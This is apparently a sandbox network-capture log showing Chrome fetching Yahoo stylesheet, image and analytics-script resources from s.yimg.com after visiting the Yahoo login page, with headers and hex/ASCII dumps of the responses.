Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:28 UTC	585	OUT	GET /wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:28 UTC	787	IN	HTTP/1.1 200 OK x-amz-id-2: fBu0e265CrMd+WiYXzedv6SwHAse2X+Ye/dFEgSiBlnC+CNUqn9kFfUTUL0O/vLoPtuYM2heM50= x-amz-request-id: MQRQP0QPRVG66ZJS Date: Wed, 10 Jan 2024 20:53:52 GMT Last-Modified: Wed, 10 Jan 2024 01:12:17 GMT ETag: "eb8e35c84410df153bed23440eaf66ef" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 642468 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 9157 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 61 68 6f 6f 20 53 61 6e 73 22 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 45 78 74 72 61 4c 69 67 68 74 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 45 78 74 72 61 4c 69 67 68 74 2e 65 6f 74 3f 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 68 74 74 70 73 Data Ascii: @font-face{font-family:"Yahoo Sans";font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot);src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraLight.eot?#iefix) format("embedded-opentype"),url(https
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 61 68 6f 6f 20 53 61 6e 73 22 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 49 74 61 6c 69 63 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 49 74 61 6c 69 63 2e 65 6f 74 Data Ascii: off) format("woff");font-weight:400;font-style:normal}@font-face{font-family:"Yahoo Sans";font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Italic.eot);src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Italic.eot
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 53 65 6d 69 62 6f 6c 64 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 61 68 6f 6f 20 53 61 6e 73 22 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 42 6f 6c 64 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 Data Ascii: /cv/ae/sports/fonts/2017/Yahoo_Sans-Semibold.woff) format("woff");font-weight:600;font-style:normal}@font-face{font-family:"Yahoo Sans";font-display:block;src:url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Bold.eot);src:url(https://s.yimg.com/c
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 65 2f 73 70 6f 72 74 73 2f 66 6f 6e 74 73 2f 32 30 31 37 2f 59 61 68 6f 6f 5f 53 61 6e 73 2d 42 6c 61 63 6b 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 0a 2f 2a 21 20 50 75 72 65 20 76 30 2e 35 2e 30 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 4c 69 63 65 6e 73 65 2e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 79 Data Ascii: 2) format("woff2"),url(https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Black.woff) format("woff");font-weight:900;font-style:normal}/*! Pure v0.5.0 Copyright 2014 Yahoo! Inc. All rights reserved. Licensed under the BSD License. https://github.com/y
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 72 65 2d 77 72 61 70 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 71 7b 71 75 6f 74 65 73 3a 6e 6f 6e 65 7d 71 3a 62 65 66 6f 72 65 2c 71 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 27 3b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 2e 32 35 65 6d 7d 64 6c 2c 6d 65 6e 75 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 30 7d 64 64 7b 6d 61 72 67 69 6e 3a 30 20 30 20 Data Ascii: re-wrap;word-wrap:break-word}q{quotes:none}q:before,q:after{content:'';content:none}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}dl,menu,ol,ul{margin:1em 0}dd{margin:0 0
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 6f 77 3a 61 75 74 6f 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 75 72 65 2d 69 6d 67 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 70 75 72 65 2d 67 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 33 31 65 6d 3b 2a 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 3b 2a 77 6f 72 64 2d 73 70 61 63 69 6e 67 3a 2d 2e 34 33 65 6d 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 6f 70 74 69 6d 69 7a 65 Data Ascii: ow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}[hidden]{display:none!important}.pure-img{max-width:100%;height:auto;display:block}.pure-g{letter-spacing:-.31em;letter-spacing:normal;word-spacing:-.43em;text-rendering:optimize
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 32 33 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 38 2c 2e 70 75 72 65 2d 75 2d 33 2d 32 34 7b 77 69 64 74 68 3a 31 32 2e 35 25 3b 2a 77 69 64 74 68 3a 31 32 2e 34 36 39 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 36 2c 2e 70 75 72 65 2d 75 2d 34 2d 32 34 7b 77 69 64 74 68 3a 31 36 2e 36 36 36 37 25 3b 2a 77 69 64 74 68 3a 31 36 2e 36 33 35 37 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 35 7b 77 69 64 74 68 3a 32 30 25 3b 2a 77 69 64 74 68 3a 31 39 2e 39 36 39 25 7d 2e 70 75 72 65 2d 75 2d 35 2d 32 34 7b 77 69 64 74 68 3a 32 30 2e 38 33 33 33 25 3b 2a 77 69 64 74 68 3a 32 30 2e 38 30 32 33 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 34 2c 2e 70 75 72 65 2d 75 2d 36 2d 32 34 7b 77 69 64 74 68 3a 32 35 25 3b 2a 77 69 64 74 68 3a 32 34 2e 39 36 39 25 7d 2e 70 75 72 65 2d 75 2d 37 2d 32 34 Data Ascii: 23%}.pure-u-1-8,.pure-u-3-24{width:12.5%;width:12.469%}.pure-u-1-6,.pure-u-4-24{width:16.6667%;width:16.6357%}.pure-u-1-5{width:20%;width:19.969%}.pure-u-5-24{width:20.8333%;width:20.8023%}.pure-u-1-4,.pure-u-6-24{width:25%;*width:24.969%}.pure-u-7-24
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7a 6f 6f 6d 3a 31 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 64 72 61 67 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 70 75 72 65 2d 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 Data Ascii: display:inline-block;*display:inline;zoom:1;line-height:normal;white-space:nowrap;vertical-align:baseline;text-align:center;cursor:pointer;-webkit-user-drag:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pure-button::-moz-focus-inne
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 73 65 6c 65 63 74 65 64 2c 61 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 61 2e 70 75 72 65 2d 62 75 74 74 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 38 65 37 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d Data Ascii: ding:0;border:0}.pure-button-primary,.pure-button-selected,a.pure-button-primary,a.pure-button-selected{background-color:#0078e7;color:#fff}.pure-form input[type=text],.pure-form input[type=password],.pure-form input[type=email],.pure-form input[type=url]
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 6f 6c 6f 72 5d 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 73 65 6c 65 63 74 3a 66 6f 63 75 73 2c 2e 70 75 72 65 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 3b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 5c 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 39 66 65 61 7d 2e 70 75 72 65 2d 66 6f 72 6d 20 69 6e 70 75 74 3a Data Ascii: form input[type=number]:focus,.pure-form input[type=search]:focus,.pure-form input[type=tel]:focus,.pure-form input[type=color]:focus,.pure-form select:focus,.pure-form textarea:focus{outline:0;outline:thin dotted \9;border-color:#129fea}.pure-form input:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:28 UTC	626	OUT	GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:28 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: iPSKPz+LSLwlLdn3jV6EVdS+k768b0DS2RWD1PbExmDrKICot7F/3ew74HlYpp0LsRFi1mAbiHQ= x-amz-request-id: KDS9PFW2Q7NA16QX Date: Wed, 10 Jan 2024 18:03:49 GMT Last-Modified: Tue, 09 Jan 2024 21:32:09 GMT ETag: "cd166981c96c6d0f4b5a7d798c25878e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=86400 Expires: Thu, 11 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1346 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 19361 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 48 08 03 00 00 00 ff 12 88 b8 00 00 00 2a 50 4c 54 45 47 70 4c 61 02 d3 61 01 d3 61 02 d3 72 19 e1 60 01 d2 60 01 d2 60 01 d2 60 01 d3 62 05 d5 61 03 d4 60 01 d2 65 09 d7 60 01 d2 05 db 6c 10 00 00 00 0e 74 52 4e 53 00 54 7b 6a 0a b3 ff e1 93 2a 3d ca 19 f3 50 61 75 3e 00 00 04 b9 49 44 41 54 78 da ed 9a eb 8e 23 29 0c 46 8b 8b 8b 8b f1 fb bf ee aa 27 d2 26 b6 31 14 b5 35 1a 2d 13 ab ff 74 82 c0 07 cc 87 0d 39 be f6 b5 af 5d 30 e7 df 16 fe 9c 1b d1 33 fb 8d 9e c0 f9 b6 f4 e7 80 fd c9 2c 6f 0f 9c 38 70 d9 1d b8 72 5e 3c 76 07 06 0e ec 76 07 6e 9c 97 e2 e6 c0 5a b2 f6 06 d6 92 b5 3b b0 e3 bc 70 ec 0d ac 25 6b 77 e0 c2 79 d3 b1 3b 70 e6 c0 7e 77 e0 48 1c b8 6d 0e ac 25 6b 77 60 e4 c0 f5 89 Data Ascii: PNGIHDRHPLTEGpLaaar````ba`e`ltRNST{j=Pau>IDATx#)F'&15-t9]03,o8pr^<vvnZ;p%kwy;p~wHm%kw`
2024-01-10 23:26:28 UTC	46	IN	Data Raw: 5b fa cb 24 cb 0d 2a ff fd cf 24 d8 9f 37 e6 ec df 7f f5 f8 da d7 fe 87 f6 0f 42 2a 9e da f5 7e d6 49 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: [$$7B~IIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49763	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:28 UTC	626	OUT	GET /rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:28 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: avss4ggFmBaznMlxht9SDp7USol9Z3WhKPYk7VsJUJnmW5+EX5aU+j49MswcJSdqkRDxtq8OE+I= x-amz-request-id: 1QJ6JZYRK3A3JNMD Date: Wed, 10 Jan 2024 01:55:38 GMT Last-Modified: Tue, 09 Jan 2024 21:32:09 GMT ETag: "dd31f56b9e4dff40eb87447c3dc55b84" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=86400 Expires: Thu, 11 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1391 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 77452 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:28 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 48 08 03 00 00 00 ff 12 88 b8 00 00 00 33 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cf d1 8a 61 00 00 00 10 74 52 4e 53 00 85 18 aa e0 f6 3d 09 b9 54 cc 2a 76 ed 98 68 e1 23 f6 e8 00 00 04 db 49 44 41 54 78 5e ed 9a db 92 db 20 0c 86 39 4a 9c f1 fb 3f 6d a7 d9 0b af 90 65 4c 9a 69 67 e8 fe 77 d9 38 86 4f 08 49 88 55 0f f4 a3 1f fd 28 96 53 fd df 01 98 52 ca df 99 49 38 4e b9 7f 07 5c 0e a2 b6 3d b0 a3 c0 79 77 60 a0 bc 49 ed 0e 1c 28 70 dc 1d d8 50 de 8a bb 03 6b 0a ac d5 de c0 3c 64 ed 0e 1c 29 6f 50 7b 03 f3 90 b5 3b 70 a6 bc 4e ed 0d cc 43 d6 ee c0 58 29 b0 d9 1a Data Ascii: PNGIHDRH3PLTEGpLatRNS=T*vh#IDATx^ 9J?meLigw8OIU(SRI8N\=yw`I(pPk<d)oP{;pNCX)
2024-01-10 23:26:28 UTC	91	IN	Data Raw: 15 17 82 6e 56 93 57 ac d4 d3 a0 b6 57 a3 15 f9 f6 c2 4a 03 fb e6 e2 ff a6 b4 b7 78 c8 da 5e c0 ce 66 9b cb 6e 1d b2 e6 f7 e2 db 4b ff 6f 21 8b 5d a9 6f ae f8 bf 85 ac 40 4f 57 db 0b f5 77 c1 8e 88 fb eb 47 bf 00 33 aa 7a 26 16 d7 c0 61 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: nVWWJx^fnKo!]o@OWwG3z&aIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49765	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:29 UTC	528	OUT	GET /ss/rapid-3.53.39.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:29 UTC	877	IN	HTTP/1.1 200 OK x-amz-id-2: tVpKNJkHheRDGPcOY4yNUbRBdRvHEuGHeG3KqIU+SXwjaeF1R3C5em16FCh6JWh46t8kiT+EaIrQhShk8mdxg8fRYWa5T5n9 x-amz-request-id: A5P24PKTNEKENJSA Date: Wed, 10 Jan 2024 08:20:17 GMT Last-Modified: Thu, 20 Oct 2022 22:18:00 GMT ETag: "3ad90205296656e070371a83d5201160" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, immutable x-amz-version-id: qQB6rmWhCi0nbuLvxW7W.stvcSOa1X3q Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 51141 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54374 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 65 28 6c 29 7b 76 61 72 20 63 3d 7b 41 31 53 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 61 31 73 22 7d 2c 42 3a 7b 6c 6f 67 3a 21 31 7d 2c 42 58 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 62 78 22 7d 2c 57 56 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 77 76 22 7d 2c 54 54 3a 7b 6c 6f 67 3a 21 31 7d 2c 44 3a 7b 6c 6f 67 3a 21 31 7d 2c 5f 67 61 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 67 61 22 7d 2c 79 78 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 79 78 22 7d 2c 72 78 78 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 72 78 22 7d 2c 55 4e 41 55 54 48 49 44 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 61 6f 6c 5f 75 6e 61 75 74 68 22 7d 2c 5f 75 74 64 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a Data Ascii: !function(){function le(l){var c={A1S:{log:!0,key:"_a1s"},B:{log:!1},BX:{log:!0,key:"bx"},WV:{log:!0,key:"_wv"},TT:{log:!1},D:{log:!1},_ga:{log:!0,key:"_ga"},yx:{log:!0,key:"_yx"},rxx:{log:!0,key:"_rx"},UNAUTHID:{log:!0,key:"aol_unauth"},_utd:{log:!0,key:
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 52 61 70 69 64 20 57 61 73 20 50 72 65 76 65 6e 74 65 64 20 46 72 6f 6d 20 41 63 63 65 73 73 69 6e 67 20 43 6f 6f 6b 69 65 73 3a 22 2c 65 29 7d 2d 31 21 3d 3d 74 3f 28 75 5b 6e 5d 3d 69 2c 6e 3d 63 5b 6e 5d 2c 6c 26 26 6e 26 26 6e 2e 6c 6f 67 26 26 6c 2e 73 65 74 28 6e 2e 6b 65 79 2c 69 29 29 3a 30 3c 6f 2b 72 26 26 28 6f 2d 2d 2c 73 28 29 29 7d 65 2e 66 70 63 26 26 22 2e 79 61 68 6f 6f 2e 63 6f 6d 22 21 3d 3d 61 28 6f 29 26 26 73 28 29 7d 3b 76 61 72 20 65 3d 6e 75 6c 6c 3b 74 72 79 7b 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 52 61 70 69 64 20 57 61 73 20 50 72 65 76 65 6e 74 65 64 20 46 72 6f 6d 20 41 63 63 65 73 73 69 6e 67 Data Ascii: ){console.warn("Rapid Was 